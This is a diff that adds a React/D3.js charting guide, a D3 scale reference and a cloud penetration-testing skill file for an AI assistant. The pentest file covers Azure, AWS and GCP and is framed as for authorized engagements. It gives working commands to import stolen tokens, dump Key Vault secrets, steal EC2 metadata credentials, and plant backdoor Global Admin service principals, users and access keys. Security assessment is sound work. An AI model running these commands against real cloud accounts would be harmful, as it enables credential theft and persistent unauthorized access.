||||
const svg2Ref = useRef();
|
||||
|
||||
useEffect(() => {
|
||||
// Chart 1: Scatter plot
|
||||
const svg1 = d3.select(svg1Ref.current);
|
||||
svg1.selectAll("*").remove();
|
||||
|
||||
// ... create first chart ...
|
||||
|
||||
const circles1 = svg1.selectAll("circle")
|
||||
.data(data)
|
||||
.join("circle")
|
||||
.attr("fill", d => selectedPoints.has(d.id) ? "orange" : "steelblue");
|
||||
|
||||
// Chart 2: Bar chart
|
||||
const svg2 = d3.select(svg2Ref.current);
|
||||
svg2.selectAll("*").remove();
|
||||
|
||||
// ... create second chart ...
|
||||
|
||||
const bars = svg2.selectAll("rect")
|
||||
.data(data)
|
||||
.join("rect")
|
||||
.attr("fill", d => selectedPoints.has(d.id) ? "orange" : "steelblue");
|
||||
|
||||
// Add brush to first chart
|
||||
const brush = d3.brush()
|
||||
.on("start brush end", (event) => {
|
||||
if (!event.selection) {
|
||||
setSelectedPoints(new Set());
|
||||
return;
|
||||
}
|
||||
|
||||
const [[x0, y0], [x1, y1]] = event.selection;
|
||||
const selected = new Set();
|
||||
|
||||
data.forEach(d => {
|
||||
const x = xScale(d.x);
|
||||
const y = yScale(d.y);
|
||||
if (x >= x0 && x <= x1 && y >= y0 && y <= y1) {
|
||||
selected.add(d.id);
|
||||
}
|
||||
});
|
||||
|
||||
setSelectedPoints(selected);
|
||||
});
|
||||
|
||||
svg1.append("g").call(brush);
|
||||
|
||||
}, [data, selectedPoints]);
|
||||
|
||||
return (
|
||||
<div>
|
||||
<svg ref={svg1Ref} width="400" height="300" />
|
||||
<svg ref={svg2Ref} width="400" height="300" />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
## Animation patterns
|
||||
|
||||
### Enter, update, exit with transitions
|
||||
|
||||
```javascript
|
||||
useEffect(() => {
|
||||
if (!data || data.length === 0) return;
|
||||
|
||||
const svg = d3.select(svgRef.current);
|
||||
|
||||
const circles = svg.selectAll("circle")
|
||||
.data(data, d => d.id); // Key function for object constancy
|
||||
|
||||
// EXIT: Remove old elements
|
||||
circles.exit()
|
||||
.transition()
|
||||
.duration(500)
|
||||
.attr("r", 0)
|
||||
.remove();
|
||||
|
||||
// UPDATE: Modify existing elements
|
||||
circles
|
||||
.transition()
|
||||
.duration(500)
|
||||
.attr("cx", d => xScale(d.x))
|
||||
.attr("cy", d => yScale(d.y))
|
||||
.attr("fill", "steelblue");
|
||||
|
||||
// ENTER: Add new elements
|
||||
circles.enter()
|
||||
.append("circle")
|
||||
.attr("cx", d => xScale(d.x))
|
||||
.attr("cy", d => yScale(d.y))
|
||||
.attr("r", 0)
|
||||
.attr("fill", "steelblue")
|
||||
.transition()
|
||||
.duration(500)
|
||||
.attr("r", 5);
|
||||
|
||||
}, [data]);
|
||||
```
|
||||
|
||||
### Path morphing
|
||||
|
||||
```javascript
|
||||
useEffect(() => {
|
||||
if (!data1 || !data2) return;
|
||||
|
||||
const svg = d3.select(svgRef.current);
|
||||
|
||||
const line = d3.line()
|
||||
.x(d => xScale(d.x))
|
||||
.y(d => yScale(d.y))
|
||||
.curve(d3.curveMonotoneX);
|
||||
|
||||
const path = svg.select("path");
|
||||
|
||||
// Morph from data1 to data2
|
||||
path
|
||||
.datum(data1)
|
||||
.attr("d", line)
|
||||
.transition()
|
||||
.duration(1000)
|
||||
.attrTween("d", function() {
|
||||
const previous = d3.select(this).attr("d");
|
||||
const current = line(data2);
|
||||
return d3.interpolatePath(previous, current);
|
||||
});
|
||||
|
||||
}, [data1, data2]);
|
||||
```
|
||||
509
skills/claude-d3js-skill/references/scale-reference.md
Normal file
509
skills/claude-d3js-skill/references/scale-reference.md
Normal file
@@ -0,0 +1,509 @@
|
||||
# D3.js Scale Reference
|
||||
|
||||
Comprehensive guide to all d3 scale types with examples and use cases.
|
||||
|
||||
## Continuous scales
|
||||
|
||||
### Linear scale
|
||||
|
||||
Maps continuous input domain to continuous output range with linear interpolation.
|
||||
|
||||
```javascript
|
||||
const scale = d3.scaleLinear()
|
||||
.domain([0, 100])
|
||||
.range([0, 500]);
|
||||
|
||||
scale(50); // Returns 250
|
||||
scale(0); // Returns 0
|
||||
scale(100); // Returns 500
|
||||
|
||||
// Invert scale (get input from output)
|
||||
scale.invert(250); // Returns 50
|
||||
```
|
||||
|
||||
**Use cases:**
|
||||
- Most common scale for quantitative data
|
||||
- Axes, bar lengths, position encoding
|
||||
- Temperature, prices, counts, measurements
|
||||
|
||||
**Methods:**
|
||||
- `.domain([min, max])` - Set input domain
|
||||
- `.range([min, max])` - Set output range
|
||||
- `.invert(value)` - Get domain value from range value
|
||||
- `.clamp(true)` - Restrict output to range bounds
|
||||
- `.nice()` - Extend domain to nice round values
|
||||
|
||||
### Power scale
|
||||
|
||||
Maps continuous input to continuous output with exponential transformation.
|
||||
|
||||
```javascript
|
||||
const sqrtScale = d3.scalePow()
|
||||
.exponent(0.5) // Square root
|
||||
.domain([0, 100])
|
||||
.range([0, 500]);
|
||||
|
||||
const squareScale = d3.scalePow()
|
||||
.exponent(2) // Square
|
||||
.domain([0, 100])
|
||||
.range([0, 500]);
|
||||
|
||||
// Shorthand for square root
|
||||
const sqrtScale2 = d3.scaleSqrt()
|
||||
.domain([0, 100])
|
||||
.range([0, 500]);
|
||||
```
|
||||
|
||||
**Use cases:**
|
||||
- Perceptual scaling (human perception is non-linear)
|
||||
- Area encoding (use square root to map values to circle radii)
|
||||
- Emphasising differences in small or large values
|
||||
|
||||
### Logarithmic scale
|
||||
|
||||
Maps continuous input to continuous output with logarithmic transformation.
|
||||
|
||||
```javascript
|
||||
const logScale = d3.scaleLog()
|
||||
.domain([1, 1000]) // Must be positive
|
||||
.range([0, 500]);
|
||||
|
||||
logScale(1); // Returns 0
|
||||
logScale(10); // Returns ~167
|
||||
logScale(100); // Returns ~333
|
||||
logScale(1000); // Returns 500
|
||||
```
|
||||
|
||||
**Use cases:**
|
||||
- Data spanning multiple orders of magnitude
|
||||
- Population, GDP, wealth distributions
|
||||
- Logarithmic axes
|
||||
- Exponential growth visualisations
|
||||
|
||||
**Important:** Domain values must be strictly positive (>0).
|
||||
|
||||
### Time scale
|
||||
|
||||
Specialised linear scale for temporal data.
|
||||
|
||||
```javascript
|
||||
const timeScale = d3.scaleTime()
|
||||
.domain([new Date(2020, 0, 1), new Date(2024, 0, 1)])
|
||||
.range([0, 800]);
|
||||
|
||||
timeScale(new Date(2022, 0, 1)); // Returns 400
|
||||
|
||||
// Invert to get date
|
||||
timeScale.invert(400); // Returns Date object for mid-2022
|
||||
```
|
||||
|
||||
**Use cases:**
|
||||
- Time series visualisations
|
||||
- Timeline axes
|
||||
- Temporal animations
|
||||
- Date-based interactions
|
||||
|
||||
**Methods:**
|
||||
- `.nice()` - Extend domain to nice time intervals
|
||||
- `.ticks(count)` - Generate nicely-spaced tick values
|
||||
- All linear scale methods apply
|
||||
|
||||
### Quantize scale
|
||||
|
||||
Maps continuous input to discrete output buckets.
|
||||
|
||||
```javascript
|
||||
const quantizeScale = d3.scaleQuantize()
|
||||
.domain([0, 100])
|
||||
.range(['low', 'medium', 'high']);
|
||||
|
||||
quantizeScale(25); // Returns 'low'
|
||||
quantizeScale(50); // Returns 'medium'
|
||||
quantizeScale(75); // Returns 'high'
|
||||
|
||||
// Get the threshold values
|
||||
quantizeScale.thresholds(); // Returns [33.33, 66.67]
|
||||
```
|
||||
|
||||
**Use cases:**
|
||||
- Binning continuous data
|
||||
- Heat map colours
|
||||
- Risk categories (low/medium/high)
|
||||
- Age groups, income brackets
|
||||
|
||||
### Quantile scale
|
||||
|
||||
Maps continuous input to discrete output based on quantiles.
|
||||
|
||||
```javascript
|
||||
const quantileScale = d3.scaleQuantile()
|
||||
.domain([3, 6, 7, 8, 8, 10, 13, 15, 16, 20, 24]) // Sample data
|
||||
.range(['low', 'medium', 'high']);
|
||||
|
||||
quantileScale(8); // Returns based on quantile position
|
||||
quantileScale.quantiles(); // Returns quantile thresholds
|
||||
```
|
||||
|
||||
**Use cases:**
|
||||
- Equal-size groups regardless of distribution
|
||||
- Percentile-based categorisation
|
||||
- Handling skewed distributions
|
||||
|
||||
### Threshold scale
|
||||
|
||||
Maps continuous input to discrete output with custom thresholds.
|
||||
|
||||
```javascript
|
||||
const thresholdScale = d3.scaleThreshold()
|
||||
.domain([0, 10, 20])
|
||||
.range(['freezing', 'cold', 'warm', 'hot']);
|
||||
|
||||
thresholdScale(-5); // Returns 'freezing'
|
||||
thresholdScale(5); // Returns 'cold'
|
||||
thresholdScale(15); // Returns 'warm'
|
||||
thresholdScale(25); // Returns 'hot'
|
||||
```
|
||||
|
||||
**Use cases:**
|
||||
- Custom breakpoints
|
||||
- Grade boundaries (A, B, C, D, F)
|
||||
- Temperature categories
|
||||
- Air quality indices
|
||||
|
||||
## Sequential scales
|
||||
|
||||
### Sequential colour scale
|
||||
|
||||
Maps continuous input to continuous colour gradient.
|
||||
|
||||
```javascript
|
||||
const colourScale = d3.scaleSequential(d3.interpolateBlues)
|
||||
.domain([0, 100]);
|
||||
|
||||
colourScale(0); // Returns lightest blue
|
||||
colourScale(50); // Returns mid blue
|
||||
colourScale(100); // Returns darkest blue
|
||||
```
|
||||
|
||||
**Available interpolators:**
|
||||
|
||||
**Single hue:**
|
||||
- `d3.interpolateBlues`, `d3.interpolateGreens`, `d3.interpolateReds`
|
||||
- `d3.interpolateOranges`, `d3.interpolatePurples`, `d3.interpolateGreys`
|
||||
|
||||
**Multi-hue:**
|
||||
- `d3.interpolateViridis`, `d3.interpolateInferno`, `d3.interpolateMagma`
|
||||
- `d3.interpolatePlasma`, `d3.interpolateWarm`, `d3.interpolateCool`
|
||||
- `d3.interpolateCubehelixDefault`, `d3.interpolateTurbo`
|
||||
|
||||
**Use cases:**
|
||||
- Heat maps, choropleth maps
|
||||
- Continuous data visualisation
|
||||
- Temperature, elevation, density
|
||||
|
||||
### Diverging colour scale
|
||||
|
||||
Maps continuous input to diverging colour gradient with a midpoint.
|
||||
|
||||
```javascript
|
||||
const divergingScale = d3.scaleDiverging(d3.interpolateRdBu)
|
||||
.domain([-10, 0, 10]);
|
||||
|
||||
divergingScale(-10); // Returns red
|
||||
divergingScale(0); // Returns white/neutral
|
||||
divergingScale(10); // Returns blue
|
||||
```
|
||||
|
||||
**Available interpolators:**
|
||||
- `d3.interpolateRdBu` - Red to blue
|
||||
- `d3.interpolateRdYlBu` - Red, yellow, blue
|
||||
- `d3.interpolateRdYlGn` - Red, yellow, green
|
||||
- `d3.interpolatePiYG` - Pink, yellow, green
|
||||
- `d3.interpolateBrBG` - Brown, blue-green
|
||||
- `d3.interpolatePRGn` - Purple, green
|
||||
- `d3.interpolatePuOr` - Purple, orange
|
||||
- `d3.interpolateRdGy` - Red, grey
|
||||
- `d3.interpolateSpectral` - Rainbow spectrum
|
||||
|
||||
**Use cases:**
|
||||
- Data with meaningful midpoint (zero, average, neutral)
|
||||
- Positive/negative values
|
||||
- Above/below comparisons
|
||||
- Correlation matrices
|
||||
|
||||
### Sequential quantile scale
|
||||
|
||||
Combines sequential colour with quantile mapping.
|
||||
|
||||
```javascript
|
||||
const sequentialQuantileScale = d3.scaleSequentialQuantile(d3.interpolateBlues)
|
||||
.domain([3, 6, 7, 8, 8, 10, 13, 15, 16, 20, 24]);
|
||||
|
||||
// Maps based on quantile position
|
||||
```
|
||||
|
||||
**Use cases:**
|
||||
- Perceptually uniform binning
|
||||
- Handling outliers
|
||||
- Skewed distributions
|
||||
|
||||
## Ordinal scales
|
||||
|
||||
### Band scale
|
||||
|
||||
Maps discrete input to continuous bands (rectangles) with optional padding.
|
||||
|
||||
```javascript
|
||||
const bandScale = d3.scaleBand()
|
||||
.domain(['A', 'B', 'C', 'D'])
|
||||
.range([0, 400])
|
||||
.padding(0.1);
|
||||
|
||||
bandScale('A'); // Returns start position (e.g., 0)
|
||||
bandScale('B'); // Returns start position (e.g., 110)
|
||||
bandScale.bandwidth(); // Returns width of each band (e.g., 95)
|
||||
bandScale.step(); // Returns total step including padding
|
||||
bandScale.paddingInner(); // Returns inner padding (between bands)
|
||||
bandScale.paddingOuter(); // Returns outer padding (at edges)
|
||||
```
|
||||
|
||||
**Use cases:**
|
||||
- Bar charts (most common use case)
|
||||
- Grouped elements
|
||||
- Categorical axes
|
||||
- Heat map cells
|
||||
|
||||
**Padding options:**
|
||||
- `.padding(value)` - Sets both inner and outer padding (0-1)
|
||||
- `.paddingInner(value)` - Padding between bands (0-1)
|
||||
- `.paddingOuter(value)` - Padding at edges (0-1)
|
||||
- `.align(value)` - Alignment of bands (0-1, default 0.5)
|
||||
|
||||
### Point scale
|
||||
|
||||
Maps discrete input to continuous points (no width).
|
||||
|
||||
```javascript
|
||||
const pointScale = d3.scalePoint()
|
||||
.domain(['A', 'B', 'C', 'D'])
|
||||
.range([0, 400])
|
||||
.padding(0.5);
|
||||
|
||||
pointScale('A'); // Returns position (e.g., 50)
|
||||
pointScale('B'); // Returns position (e.g., 150)
|
||||
pointScale('C'); // Returns position (e.g., 250)
|
||||
pointScale('D'); // Returns position (e.g., 350)
|
||||
pointScale.step(); // Returns distance between points
|
||||
```
|
||||
|
||||
**Use cases:**
|
||||
- Line chart categorical x-axis
|
||||
- Scatter plot with categorical axis
|
||||
- Node positions in network graphs
|
||||
- Any point positioning for categories
|
||||
|
||||
### Ordinal colour scale
|
||||
|
||||
Maps discrete input to discrete output (colours, shapes, etc.).
|
||||
|
||||
```javascript
|
||||
const colourScale = d3.scaleOrdinal(d3.schemeCategory10);
|
||||
|
||||
colourScale('apples'); // Returns first colour
|
||||
colourScale('oranges'); // Returns second colour
|
||||
colourScale('apples'); // Returns same first colour (consistent)
|
||||
|
||||
// Custom range
|
||||
const customScale = d3.scaleOrdinal()
|
||||
.domain(['cat1', 'cat2', 'cat3'])
|
||||
.range(['#FF6B6B', '#4ECDC4', '#45B7D1']);
|
||||
```
|
||||
|
||||
**Built-in colour schemes:**
|
||||
|
||||
**Categorical:**
|
||||
- `d3.schemeCategory10` - 10 colours
|
||||
- `d3.schemeAccent` - 8 colours
|
||||
- `d3.schemeDark2` - 8 colours
|
||||
- `d3.schemePaired` - 12 colours
|
||||
- `d3.schemePastel1` - 9 colours
|
||||
- `d3.schemePastel2` - 8 colours
|
||||
- `d3.schemeSet1` - 9 colours
|
||||
- `d3.schemeSet2` - 8 colours
|
||||
- `d3.schemeSet3` - 12 colours
|
||||
- `d3.schemeTableau10` - 10 colours
|
||||
|
||||
**Use cases:**
|
||||
- Category colours
|
||||
- Legend items
|
||||
- Multi-series charts
|
||||
- Network node types
|
||||
|
||||
## Scale utilities
|
||||
|
||||
### Nice domain
|
||||
|
||||
Extend domain to nice round values.
|
||||
|
||||
```javascript
|
||||
const scale = d3.scaleLinear()
|
||||
.domain([0.201, 0.996])
|
||||
.nice();
|
||||
|
||||
scale.domain(); // Returns [0.2, 1.0]
|
||||
|
||||
// With count (approximate tick count)
|
||||
const scale2 = d3.scaleLinear()
|
||||
.domain([0.201, 0.996])
|
||||
.nice(5);
|
||||
```
|
||||
|
||||
### Clamping
|
||||
|
||||
Restrict output to range bounds.
|
||||
|
||||
```javascript
|
||||
const scale = d3.scaleLinear()
|
||||
.domain([0, 100])
|
||||
.range([0, 500])
|
||||
.clamp(true);
|
||||
|
||||
scale(-10); // Returns 0 (clamped)
|
||||
scale(150); // Returns 500 (clamped)
|
||||
```
|
||||
|
||||
### Copy scales
|
||||
|
||||
Create independent copies.
|
||||
|
||||
```javascript
|
||||
const scale1 = d3.scaleLinear()
|
||||
.domain([0, 100])
|
||||
.range([0, 500]);
|
||||
|
||||
const scale2 = scale1.copy();
|
||||
// scale2 is independent of scale1
|
||||
```
|
||||
|
||||
### Tick generation
|
||||
|
||||
Generate nice tick values for axes.
|
||||
|
||||
```javascript
|
||||
const scale = d3.scaleLinear()
|
||||
.domain([0, 100])
|
||||
.range([0, 500]);
|
||||
|
||||
scale.ticks(10); // Generate ~10 ticks
|
||||
scale.tickFormat(10); // Get format function for ticks
|
||||
scale.tickFormat(10, ".2f"); // Custom format (2 decimal places)
|
||||
|
||||
// Time scale ticks
|
||||
const timeScale = d3.scaleTime()
|
||||
.domain([new Date(2020, 0, 1), new Date(2024, 0, 1)]);
|
||||
|
||||
timeScale.ticks(d3.timeYear); // Yearly ticks
|
||||
timeScale.ticks(d3.timeMonth, 3); // Every 3 months
|
||||
timeScale.tickFormat(5, "%Y-%m"); // Format as year-month
|
||||
```
|
||||
|
||||
## Colour spaces and interpolation
|
||||
|
||||
### RGB interpolation
|
||||
|
||||
```javascript
|
||||
const scale = d3.scaleLinear()
|
||||
.domain([0, 100])
|
||||
.range(["blue", "red"]);
|
||||
// Default: RGB interpolation
|
||||
```
|
||||
|
||||
### HSL interpolation
|
||||
|
||||
```javascript
|
||||
const scale = d3.scaleLinear()
|
||||
.domain([0, 100])
|
||||
.range(["blue", "red"])
|
||||
.interpolate(d3.interpolateHsl);
|
||||
// Smoother colour transitions
|
||||
```
|
||||
|
||||
### Lab interpolation
|
||||
|
||||
```javascript
|
||||
const scale = d3.scaleLinear()
|
||||
.domain([0, 100])
|
||||
.range(["blue", "red"])
|
||||
.interpolate(d3.interpolateLab);
|
||||
// Perceptually uniform
|
||||
```
|
||||
|
||||
### HCL interpolation
|
||||
|
||||
```javascript
|
||||
const scale = d3.scaleLinear()
|
||||
.domain([0, 100])
|
||||
.range(["blue", "red"])
|
||||
.interpolate(d3.interpolateHcl);
|
||||
// Perceptually uniform with hue
|
||||
```
|
||||
|
||||
## Common patterns
|
||||
|
||||
### Diverging scale with custom midpoint
|
||||
|
||||
```javascript
|
||||
const scale = d3.scaleLinear()
|
||||
.domain([min, midpoint, max])
|
||||
.range(["red", "white", "blue"])
|
||||
.interpolate(d3.interpolateHcl);
|
||||
```
|
||||
|
||||
### Multi-stop gradient scale
|
||||
|
||||
```javascript
|
||||
const scale = d3.scaleLinear()
|
||||
.domain([0, 25, 50, 75, 100])
|
||||
.range(["#d53e4f", "#fc8d59", "#fee08b", "#e6f598", "#66c2a5"]);
|
||||
```
|
||||
|
||||
### Radius scale for circles (perceptual)
|
||||
|
||||
```javascript
|
||||
const radiusScale = d3.scaleSqrt()
|
||||
.domain([0, d3.max(data, d => d.value)])
|
||||
.range([0, 50]);
|
||||
|
||||
// Use with circles
|
||||
circle.attr("r", d => radiusScale(d.value));
|
||||
```
|
||||
|
||||
### Adaptive scale based on data range
|
||||
|
||||
```javascript
|
||||
function createAdaptiveScale(data) {
|
||||
const extent = d3.extent(data);
|
||||
const range = extent[1] - extent[0];
|
||||
|
||||
// Use log scale if data spans >2 orders of magnitude
|
||||
if (extent[1] / extent[0] > 100) {
|
||||
return d3.scaleLog()
|
||||
.domain(extent)
|
||||
.range([0, width]);
|
||||
}
|
||||
|
||||
// Otherwise use linear
|
||||
return d3.scaleLinear()
|
||||
.domain(extent)
|
||||
.range([0, width]);
|
||||
}
|
||||
```
|
||||
|
||||
### Colour scale with explicit categories
|
||||
|
||||
```javascript
|
||||
const colourScale = d3.scaleOrdinal()
|
||||
.domain(['Low Risk', 'Medium Risk', 'High Risk'])
|
||||
.range(['#2ecc71', '#f39c12', '#e74c3c'])
|
||||
.unknown('#95a5a6'); // Fallback for unknown values
|
||||
```
|
||||
498
skills/cloud-penetration-testing/SKILL.md
Normal file
498
skills/cloud-penetration-testing/SKILL.md
Normal file
@@ -0,0 +1,498 @@
|
||||
---
|
||||
name: Cloud Penetration Testing
|
||||
description: This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud infrastructure". It provides comprehensive techniques for security assessment across major cloud platforms.
|
||||
---
|
||||
|
||||
# Cloud Penetration Testing
|
||||
|
||||
## Purpose
|
||||
|
||||
Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
### Required Tools
|
||||
```bash
|
||||
# Azure tools
|
||||
Install-Module -Name Az -AllowClobber -Force
|
||||
Install-Module -Name MSOnline -Force
|
||||
Install-Module -Name AzureAD -Force
|
||||
|
||||
# AWS CLI
|
||||
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
|
||||
unzip awscliv2.zip && sudo ./aws/install
|
||||
|
||||
# GCP CLI
|
||||
curl https://sdk.cloud.google.com | bash
|
||||
gcloud init
|
||||
|
||||
# Additional tools
|
||||
pip install scoutsuite pacu
|
||||
```
|
||||
|
||||
### Required Knowledge
|
||||
- Cloud architecture fundamentals
|
||||
- Identity and Access Management (IAM)
|
||||
- API authentication mechanisms
|
||||
- DevOps and automation concepts
|
||||
|
||||
### Required Access
|
||||
- Written authorization for testing
|
||||
- Test credentials or access tokens
|
||||
- Defined scope and rules of engagement
|
||||
|
||||
## Outputs and Deliverables
|
||||
|
||||
1. **Cloud Security Assessment Report** - Comprehensive findings and risk ratings
|
||||
2. **Resource Inventory** - Enumerated services, storage, and compute instances
|
||||
3. **Credential Findings** - Exposed secrets, keys, and misconfigurations
|
||||
4. **Remediation Recommendations** - Hardening guidance per platform
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Phase 1: Reconnaissance
|
||||
|
||||
Gather initial information about target cloud presence:
|
||||
|
||||
```bash
|
||||
# Azure: Get federation info
|
||||
curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1"
|
||||
|
||||
# Azure: Get Tenant ID
|
||||
curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration"
|
||||
|
||||
# Enumerate cloud resources by company name
|
||||
python3 cloud_enum.py -k targetcompany
|
||||
|
||||
# Check IP against cloud providers
|
||||
cat ips.txt | python3 ip2provider.py
|
||||
```
|
||||
|
||||
### Phase 2: Azure Authentication
|
||||
|
||||
Authenticate to Azure environments:
|
||||
|
||||
```powershell
|
||||
# Az PowerShell Module
|
||||
Import-Module Az
|
||||
Connect-AzAccount
|
||||
|
||||
# With credentials (may bypass MFA)
|
||||
$credential = Get-Credential
|
||||
Connect-AzAccount -Credential $credential
|
||||
|
||||
# Import stolen context
|
||||
Import-AzContext -Profile 'C:\Temp\StolenToken.json'
|
||||
|
||||
# Export context for persistence
|
||||
Save-AzContext -Path C:\Temp\AzureAccessToken.json
|
||||
|
||||
# MSOnline Module
|
||||
Import-Module MSOnline
|
||||
Connect-MsolService
|
||||
```
|
||||
|
||||
### Phase 3: Azure Enumeration
|
||||
|
||||
Discover Azure resources and permissions:
|
||||
|
||||
```powershell
|
||||
# List contexts and subscriptions
|
||||
Get-AzContext -ListAvailable
|
||||
Get-AzSubscription
|
||||
|
||||
# Current user role assignments
|
||||
Get-AzRoleAssignment
|
||||
|
||||
# List resources
|
||||
Get-AzResource
|
||||
Get-AzResourceGroup
|
||||
|
||||
# Storage accounts
|
||||
Get-AzStorageAccount
|
||||
|
||||
# Web applications
|
||||
Get-AzWebApp
|
||||
|
||||
# SQL Servers and databases
|
||||
Get-AzSQLServer
|
||||
Get-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG
|
||||
|
||||
# Virtual machines
|
||||
Get-AzVM
|
||||
$vm = Get-AzVM -Name "VMName"
|
||||
$vm.OSProfile
|
||||
|
||||
# List all users
|
||||
Get-MSolUser -All
|
||||
|
||||
# List all groups
|
||||
Get-MSolGroup -All
|
||||
|
||||
# Global Admins
|
||||
Get-MsolRole -RoleName "Company Administrator"
|
||||
Get-MSolGroupMember -GroupObjectId $GUID
|
||||
|
||||
# Service Principals
|
||||
Get-MsolServicePrincipal
|
||||
```
|
||||
|
||||
### Phase 4: Azure Exploitation
|
||||
|
||||
Exploit Azure misconfigurations:
|
||||
|
||||
```powershell
|
||||
# Search user attributes for passwords
|
||||
$users = Get-MsolUser -All
|
||||
foreach($user in $users){
|
||||
$props = @()
|
||||
$user | Get-Member | foreach-object{$props+=$_.Name}
|
||||
foreach($prop in $props){
|
||||
if($user.$prop -like "*password*"){
|
||||
Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Execute commands on VMs
|
||||
Invoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1
|
||||
|
||||
# Extract VM UserData
|
||||
$vms = Get-AzVM
|
||||
$vms.UserData
|
||||
|
||||
# Dump Key Vault secrets
|
||||
az keyvault list --query '[].name' --output tsv
|
||||
az keyvault set-policy --name <vault> --upn <user> --secret-permissions get list
|
||||
az keyvault secret list --vault-name <vault> --query '[].id' --output tsv
|
||||
az keyvault secret show --id <URI>
|
||||
```
|
||||
|
||||
### Phase 5: Azure Persistence
|
||||
|
||||
Establish persistence in Azure:
|
||||
|
||||
```powershell
|
||||
# Create backdoor service principal
|
||||
$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
|
||||
$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)
|
||||
$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)
|
||||
|
||||
# Add service principal to Global Admin
|
||||
$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
|
||||
$role = Get-MsolRole -RoleName "Company Administrator"
|
||||
Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId
|
||||
|
||||
# Login as service principal
|
||||
$cred = Get-Credential # AppID as username, secret as password
|
||||
Connect-AzAccount -Credential $cred -Tenant "tenant-id" -ServicePrincipal
|
||||
|
||||
# Create new admin user via CLI
|
||||
az ad user create --display-name <name> --password <pass> --user-principal-name <upn>
|
||||
```
|
||||
|
||||
### Phase 6: AWS Authentication
|
||||
|
||||
Authenticate to AWS environments:
|
||||
|
||||
```bash
|
||||
# Configure AWS CLI
|
||||
aws configure
|
||||
# Enter: Access Key ID, Secret Access Key, Region, Output format
|
||||
|
||||
# Use specific profile
|
||||
aws configure --profile target
|
||||
|
||||
# Test credentials
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
|
||||
### Phase 7: AWS Enumeration
|
||||
|
||||
Discover AWS resources:
|
||||
|
||||
```bash
|
||||
# Account information
|
||||
aws sts get-caller-identity
|
||||
aws iam list-users
|
||||
aws iam list-roles
|
||||
|
||||
# S3 Buckets
|
||||
aws s3 ls
|
||||
aws s3 ls s3://bucket-name/
|
||||
aws s3 sync s3://bucket-name ./local-dir
|
||||
|
||||
# EC2 Instances
|
||||
aws ec2 describe-instances
|
||||
|
||||
# RDS Databases
|
||||
aws rds describe-db-instances --region us-east-1
|
||||
|
||||
# Lambda Functions
|
||||
aws lambda list-functions --region us-east-1
|
||||
aws lambda get-function --function-name <name>
|
||||
|
||||
# EKS Clusters
|
||||
aws eks list-clusters --region us-east-1
|
||||
|
||||
# Networking
|
||||
aws ec2 describe-subnets
|
||||
aws ec2 describe-security-groups --group-ids <sg-id>
|
||||
aws directconnect describe-connections
|
||||
```
|
||||
|
||||
### Phase 8: AWS Exploitation
|
||||
|
||||
Exploit AWS misconfigurations:
|
||||
|
||||
```bash
|
||||
# Check for public RDS snapshots
|
||||
aws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier
|
||||
aws rds describe-db-snapshot-attributes --db-snapshot-identifier <id>
|
||||
# AttributeValues = "all" means publicly accessible
|
||||
|
||||
# Extract Lambda environment variables (may contain secrets)
|
||||
aws lambda get-function --function-name <name> | jq '.Configuration.Environment'
|
||||
|
||||
# Access metadata service (from compromised EC2)
|
||||
curl http://169.254.169.254/latest/meta-data/
|
||||
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
||||
|
||||
# IMDSv2 access
|
||||
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"
|
||||
```
|
||||
|
||||
### Phase 9: AWS Persistence
|
||||
|
||||
Establish persistence in AWS:
|
||||
|
||||
```bash
|
||||
# List existing access keys
|
||||
aws iam list-access-keys --user-name <username>
|
||||
|
||||
# Create backdoor access key
|
||||
aws iam create-access-key --user-name <username>
|
||||
|
||||
# Get all EC2 public IPs
|
||||
for region in $(cat regions.txt); do
|
||||
aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'
|
||||
done
|
||||
```
|
||||
|
||||
### Phase 10: GCP Enumeration
|
||||
|
||||
Discover GCP resources:
|
||||
|
||||
```bash
|
||||
# Authentication
|
||||
gcloud auth login
|
||||
gcloud auth activate-service-account --key-file creds.json
|
||||
gcloud auth list
|
||||
|
||||
# Account information
|
||||
gcloud config list
|
||||
gcloud organizations list
|
||||
gcloud projects list
|
||||
|
||||
# IAM Policies
|
||||
gcloud organizations get-iam-policy <org-id>
|
||||
gcloud projects get-iam-policy <project-id>
|
||||
|
||||
# Enabled services
|
||||
gcloud services list
|
||||
|
||||
# Source code repos
|
||||
gcloud source repos list
|
||||
gcloud source repos clone <repo>
|
||||
|
||||
# Compute instances
|
||||
gcloud compute instances list
|
||||
gcloud beta compute ssh --zone "region" "instance" --project "project"
|
||||
|
||||
# Storage buckets
|
||||
gsutil ls
|
||||
gsutil ls -r gs://bucket-name
|
||||
gsutil cp gs://bucket/file ./local
|
||||
|
||||
# SQL instances
|
||||
gcloud sql instances list
|
||||
